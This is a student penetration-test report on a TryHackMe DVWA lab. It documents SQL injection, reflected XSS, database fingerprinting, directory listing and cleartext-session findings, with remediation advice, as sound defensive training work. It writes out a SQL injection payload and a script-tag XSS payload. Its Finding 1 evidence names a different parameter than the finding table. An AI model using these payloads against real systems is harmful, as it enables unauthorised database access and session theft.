Testing Date 23 May 2026
Tools Used OWASP ZAP 2.17.0, Burp Suite Community Edition, Firefox + Browser DevTools
Scan Policy Dev Standard
Spider Mode Traditional Spider + AJAX Spider (Firefox, “If Modern”)
Scope Limitations Testing conducted exclusively on the TryHackMe-assigned DVWA machine (accessed via TryHackMe OpenVPN). No production systems were targeted. External URLs (e.g. www.dvwa.co.uk, www.w3.org) were treated as out-of-scope and excluded.

Methodology Overview:

The assessment followed a three-phase approach:

  1. Passive Reconnaissance With DVWA proxied through ZAP (localhost:8080), the application was manually navigated in Firefox. This approach populated the Sites tree with every reachable endpoint while capturing cookies, headers, and form parameters.

  2. Automated Active Scan ZAP’s Quick Start automated scan was directed at http://[target-IP]/ using the traditional spider and AJAX spider running simultaneously. The spider uncovered 10+ URLs and appended 3 nodes to the site tree before the active scanner moved on to fuzzing the discovered parameters.

  3. Manual Verification Each flagged alert was manually inspected in ZAP’s Alerts tab. Response bodies, payloads, and HTTP status codes were cross-checked to confirm genuine findings and eliminate false positives.


Detailed Findings


Finding 1 SQL Injection (Reflected)

Field Value
OWASP Category A03:2021 Injection
Severity High
CWE ID CWE-89
WASC ID 19
Affected URL http://[target-IP]/vulnerabilities/sqli/?id=...
Affected Parameter id (URL Query String)
Source Active Scan (ZAP Rule 40018)
Confidence Medium

Description:

SQL Injection arises when user-provided input is inserted directly into a SQL query without sanitisation or parameterisation. At the /vulnerabilities/sqli/ endpoint, the id parameter is passed unescaped into a backend MySQL/SQLite query. ZAP validated this by supplying a boolean-based payload and noting a corresponding change in the application’s response, confirming that the database is processing attacker-controlled SQL logic.

Evidence:

Payload: dd" AND "1"="1" -- Parameter: password_new Response: HTTP 200 OK The server returned a modified response consistent with the injected condition being evaluated as true, confirming the injection point is active.

The ZAP alert panel recorded two sub-variants — SQL Injection (MySQL) and SQL Injection (SQLite Time Based) — both identified on the same endpoint, showing that the backend is susceptible to more than one injection technique.

74440aaa90511eb968c75574d509e6d6.png

Business Impact:

Successful exploitation of this SQL injection vulnerability would enable an attacker to extract all database tables and records — including usernames and password hashes — bypass authentication entirely, and, subject to the database account’s privilege level, read arbitrary files from the server filesystem using LOAD_FILE(). In a production environment, this would amount to a critical data breach exposing all user PII and credentials.

Remediation:

  • Replace all dynamic query construction with parameterised queries / prepared statements (e.g. PDO with bound parameters in PHP).
  • Apply input validation the id field should only accept integers; reject anything else at the application layer.
  • Run the database under a least-privilege account that cannot access information_schema or use file read/write functions.
  • Consider a Web Application Firewall (WAF) as a secondary layer, not a replacement for fixing the root cause.

Finding 2 Cross-Site Scripting (Reflected XSS)

Field Value
OWASP Category A03:2021 Injection / XSS
Severity High
CWE ID CWE-79
WASC ID 8
Affected URL http://[target-IP]/vulnerabilities/sqli/?id=%27%22%3Cscript%3Ealert%281%29%3B%3C%2FscRipt%3E&Submit=Submit
Affected Parameter id (URL Query String)
Source Active Scan (ZAP Rule 40012)
Confidence Medium

Description:

Reflected XSS occurs when user input is returned in an HTTP response without proper HTML encoding, giving an attacker the ability to inject client-side scripts. In this instance, ZAP submitted a script tag payload via the id parameter on the SQLi vulnerability page. The server’s response included the raw script tag — though the SQL parser intercepted it first — returning an error message with the unescaped payload embedded inside a <pre> block:

1
2
3
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near
'"<script>alert(1);</script>' at line 1

The presence of the payload in the HTML response body without any encoding — even within an error message — confirms reflected XSS. The <script> tags remain intact and are potentially executable depending on the browser context.

Evidence:

Payload: "<script>alert(1);</script> Response: HTTP 200 OK Server returned the payload embedded in the HTML response body inside a <pre> error block, unencoded.

Business Impact:

An attacker could construct a malicious URL embedding the XSS payload and distribute it to authenticated users. When a victim follows the link, the injected script runs in their browser under the application’s origin, enabling theft of session cookies (document.cookie), credential harvesting through DOM manipulation, or drive-by malware delivery. Because this is reflected XSS rather than stored, exploitation depends on social engineering — but the attack surface remains substantial in any user-facing application.

Remediation:

  • HTML-encode all user input before reflecting it in responses. In PHP: use htmlspecialchars($input, ENT_QUOTES, 'UTF-8').
  • Implement a Content Security Policy (CSP) header to restrict script execution to trusted sources.
  • Never include raw user input in error messages rendered to the browser.
  • Use output encoding libraries rather than writing manual sanitisation.

Finding 3 SQL Injection (MySQL Database Fingerprint Confirmation)

Field Value
OWASP Category A03:2021 Injection
Severity High
CWE ID CWE-89
WASC ID 19
Affected URL http://[target-IP]/vulnerabilities/sqli/
Affected Parameter id
Source Active Scan MySQL-specific payload response
Confidence High

Description:

Separate from the generic SQLi finding, ZAP also detected a MySQL-specific SQL Injection alert. This variant injects MySQL-dialect syntax and receives a response that explicitly identifies the backend as MySQL — the error message directly references the “MySQL server version.” This database fingerprinting matters because it removes guesswork: the attacker now knows exactly which SQL dialect to target, including MySQL-specific techniques such as UNION SELECT, GROUP_CONCAT(), and INTO OUTFILE.

Evidence:

Server Error Disclosed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near... This error appeared directly in the response body, establishing two facts: (a) the parameter is injectable, and (b) the backend DBMS is MySQL.

Business Impact:

When the database is fingerprinted, the attacker’s approach shifts from trial-and-error to precise, targeted exploitation. Knowing the DBMS is MySQL, an attacker can move straight to UNION-based data extraction, information_schema enumeration, and time-based blind injection without wasting effort on probing. This substantially increases the severity of Finding 1.

Remediation:

  • Same as Finding 1 parameterised queries are the primary fix.
  • Suppress database error messages in production responses. Configure PHP to log errors server-side (log_errors = On) and disable display to users (display_errors = Off) in php.ini.
  • Use a custom generic error page that does not disclose backend technology.

Finding 4 Directory Browsing Enabled

Field Value
OWASP Category A05:2021 Security Misconfiguration
Severity Medium
CWE ID CWE-548
WASC ID 16
Affected URLs 5 instances detected across DVWA directories
Source Active Scan ZAP Directory Browsing rule
Confidence Medium

Description:

Directory browsing (also called directory listing) is a web server misconfiguration that allows anyone to view the file and folder structure of a web directory when no index file is present. ZAP flagged 5 instances of this on the DVWA instance. When directory listing is enabled, an attacker can enumerate the full file tree of the application discovering configuration files, backup files, uploaded files, and any other assets not explicitly linked in the UI.

Evidence:

ZAP Alerts panel shows “Directory Browsing (5)” five distinct directory paths on the server return a browsable file listing rather than a 403 Forbidden or custom error page.

5fa0e3eae1c22bf661e14bccdbc0205d.png

Business Impact:

While directory browsing alone doesn’t directly enable data extraction, it serves as a significant reconnaissance enabler. An attacker mapping the application would use exposed directory listings to locate configuration files (potentially containing DB credentials), PHP backup files, or uploaded user content. In combination with the SQLi and XSS findings already present in this application, directory browsing is a meaningful amplifier.

Remediation:

  • Disable directory listing in the Apache configuration: set Options -Indexes in the relevant <Directory> block or .htaccess file.
  • Ensure all directories either contain an index.php / index.html or are explicitly protected from browsing.
  • Conduct a full audit of what files are currently exposed via directory listing and remove or relocate sensitive items.

Field Value
OWASP Category A02:2021 Cryptographic Failures / A05:2021 Security Misconfiguration
Severity Low / Informational
CWE ID CWE-311
Affected Scope Entire application session cookies
Source Passive Scan ZAP HTTP Only Site rule
Confidence High

Description:

The application operates entirely over HTTP with no HTTPS enforcement in place. As a result, all traffic exchanged between the client and server — including session cookies, login credentials, and application data — travels in cleartext. Furthermore, the PHPSESSID session cookie lacks the Secure attribute, meaning it would still be sent over unencrypted connections even if HTTPS were only partially configured.

ZAP’s HTTP Only Site alert is triggered when the scanner determines that no HTTPS version of the site exists and the application does not redirect HTTP requests to HTTPS.

Evidence:

HTTP response headers observed across multiple endpoints:

  • Protocol: HTTP/1.1 no TLS
  • No Strict-Transport-Security header present
  • Cookie: PHPSESSID set without Secure or SameSite flags

Business Impact:

On any network where traffic interception is feasible — such as public Wi-Fi, a shared LAN, or an ARP-spoofed environment — an attacker can execute a session hijacking attack by capturing the plaintext PHPSESSID cookie and replaying it to impersonate an authenticated user. Taken together with the XSS finding in this report, which can also steal cookies on the client side, the application’s session security is compromised on two separate fronts.

Remediation:

  • Deploy HTTPS using a valid TLS certificate (Let’s Encrypt for public-facing apps, self-signed acceptable for local dev).
  • Add Strict-Transport-Security: max-age=31536000; includeSubDomains to all responses.
  • Set the Secure and HttpOnly flags on all session cookies.
  • For local development, acknowledge this as an accepted risk and document it accordingly.

Risk Matrix

1
2
3
4
5
6
7
8
9
                  │  LOW IMPACT   │ MEDIUM IMPACT  │   HIGH IMPACT
──────────────────┼───────────────┼────────────────┼──────────────────
HIGH LIKELIHOOD   │               │                │  F1 (SQLi)
                  │               │                │  F2 (XSS)
                  │               │                │  F3 (SQLi MySQL)
──────────────────┼───────────────┼────────────────┼──────────────────
MEDIUM LIKELIHOOD │               │  F4 (Dir List) │
──────────────────┼───────────────┼────────────────┼──────────────────
LOW LIKELIHOOD    │  F5 (HTTP)    │                │
F1 SQL Injection (Reflected) F2 XSS (Reflected) F3 SQL Injection MySQL F4 Directory Browsing F5 HTTP Only / Missing Secure Cookie

Recommendations (Prioritised)

Priority Action Findings Addressed Implementation Effort
1 Immediate Replace all dynamic SQL queries with parameterised statements / PDO prepared queries F1, F3 Low code change only; no infrastructure required
2 Immediate HTML-encode all user-reflected output; disable raw error messages in browser responses F2, F3 Low PHP htmlspecialchars() + php.ini change
3 Short-term Disable Apache directory listing (Options -Indexes) and audit exposed file paths F4 Low single config change
4 Short-term Set HttpOnly, Secure, and SameSite=Strict flags on session cookies F5 Low session.cookie_secure and session.cookie_httponly in php.ini
5 Long-term Migrate application to HTTPS; enforce TLS with HSTS headers F5 Medium requires certificate provisioning and server config

Tool Output Summary

Tool Mode Target Requests Made Alerts Found
OWASP ZAP 2.17.0 Automated Active Scan (Quick Start) http://[target-IP] (TryHackMe) 1,849+ 7 categories
OWASP ZAP 2.17.0 Manual Active Scan (Right-click → Attack → Active Scan) http://[target-IP] (TryHackMe) ~600 4 new alerts
Burp Suite CE Proxy + Manual Intercept http://[target-IP] N/A Manual verification

Scan Configuration:

  • Scan Policy: Dev Standard
  • Traditional Spider: Enabled
  • AJAX Spider: Enabled (Firefox, “If Modern” mode)
  • Out-of-scope URLs excluded: www.dvwa.co.uk, www.w3.org

End of Report FUTM-CYB 322 Practical Hours Projects Weeks 1–7 Assessment conducted on a TryHackMe-hosted DVWA instance, accessed via TryHackMe OpenVPN. No production systems were tested.